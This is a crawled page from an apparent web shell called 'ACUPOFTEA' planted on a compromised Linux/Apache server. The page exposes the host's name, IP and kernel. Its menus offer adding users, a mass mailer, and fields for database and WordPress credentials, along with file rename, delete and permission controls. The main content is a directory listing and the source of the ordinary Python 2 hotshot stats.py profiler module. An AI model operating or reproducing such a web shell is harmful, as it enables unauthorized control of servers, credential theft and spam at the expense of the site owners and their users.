System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
hotshot
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
stats.py
"""Statistics analyzer for HotShot.""" import profile import pstats import hotshot.log from hotshot.log import ENTER, EXIT def load(filename): return StatsLoader(filename).load() class StatsLoader: def __init__(self, logfn): self._logfn = logfn self._code = {} self._stack = [] self.pop_frame = self._stack.pop def load(self): # The timer selected by the profiler should never be used, so make # sure it doesn't work: p = Profile() p.get_time = _brokentimer log = hotshot.log.LogReader(self._logfn) taccum = 0 for event in log: what, (filename, lineno, funcname), tdelta = event if tdelta > 0: taccum += tdelta # We multiply taccum to convert from the microseconds we # have to the seconds that the profile/pstats module work # with; this allows the numbers to have some basis in # reality (ignoring calibration issues for now). if what == ENTER: frame = self.new_frame(filename, lineno, funcname) p.trace_dispatch_call(frame, taccum * .000001) taccum = 0 elif what == EXIT: frame = self.pop_frame() p.trace_dispatch_return(frame, taccum * .000001) taccum = 0 # no further work for line events assert not self._stack return pstats.Stats(p) def new_frame(self, *args): # args must be filename, firstlineno, funcname # our code objects are cached since we don't need to create # new ones every time try: code = self._code[args] except KeyError: code = FakeCode(*args) self._code[args] = code # frame objects are create fresh, since the back pointer will # vary considerably if self._stack: back = self._stack[-1] else: back = None frame = FakeFrame(code, back) self._stack.append(frame) return frame class Profile(profile.Profile): def simulate_cmd_complete(self): pass class FakeCode: def __init__(self, filename, firstlineno, funcname): self.co_filename = filename self.co_firstlineno = firstlineno self.co_name = self.__name__ = funcname class FakeFrame: def __init__(self, code, back): self.f_back = back self.f_code = code def _brokentimer(): raise RuntimeError, "this timer should not be called"
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
__init__.py
text/plain
2.61 KB
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/x-bytecode.python
3.4 KB
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/x-bytecode.python
3.4 KB
-rw-r--r--
2024-04-10 04:58:46
log.py
text/x-script.python
6.09 KB
-rw-r--r--
2024-04-10 04:58:35
log.pyc
application/x-bytecode.python
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
log.pyo
application/x-bytecode.python
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
stats.py
text/plain
2.52 KB
-rw-r--r--
2024-04-10 04:58:35
stats.pyc
application/x-bytecode.python
3.2 KB
-rw-r--r--
2024-04-10 04:58:46
stats.pyo
application/x-bytecode.python
3.16 KB
-rw-r--r--
2024-04-10 04:58:43
stones.py
text/plain
767 B
-rw-r--r--
2024-04-10 04:58:35
stones.pyc
application/x-bytecode.python
1.13 KB
-rw-r--r--
2024-04-10 04:58:46
stones.pyo
application/x-bytecode.python
1.13 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - accounting.gulfstore-gcc.com